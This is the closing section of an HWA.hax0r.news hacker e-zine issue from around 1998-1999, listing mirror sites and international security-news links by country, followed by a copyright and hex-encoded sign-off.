http://www.alldas.de/hwaidx1.htm ** NEW **
http://www.csoft.net/~hwa/
http://www.digitalgeeks.com/hwa.*DOWN*
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://archives.projectgamma.com/zines/hwa/.
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
http://hwa.hax0r.news.8m.com/
http://www.fortunecity.com/skyscraper/feature/103/
International links:(TBC)
~~~~~~~~~~~~~~~~~~~~~~~~~
Foreign correspondants and others please send in news site links that
have security news from foreign countries for inclusion in this list
thanks... - Ed
Belgium.......: http://securax.org/cum/ *New address*
Brasil........: http://www.psynet.net/ka0z
http://www.elementais.cjb.net
Canada .......: http://www.hackcanada.com
Croatia.......: http://security.monitor.hr
Columbia......: http://www.cascabel.8m.com
http://www.intrusos.cjb.net
Finland ........http://hackunlimited.com/
Germany ........http://www.alldas.de/
http://www.security-news.com/
Indonesia.....: http://www.k-elektronik.org/index2.html
http://members.xoom.com/neblonica/
http://hackerlink.or.id/
Netherlands...: http://security.pine.nl/
Russia........: http://www.tsu.ru/~eugene/
Singapore.....: http://www.icepoint.com
South Africa ...http://www.hackers.co.za
http://www.hack.co.za
http://www.posthuman.za.net
Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first
and best security related e-zine.
.za (South Africa) sites contributed by wyzwun tnx guy...
Got a link for this section? email it to hwa@press.usmc.net and i'll
review it and post it here if it merits it.
@HWA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
� 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
[45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]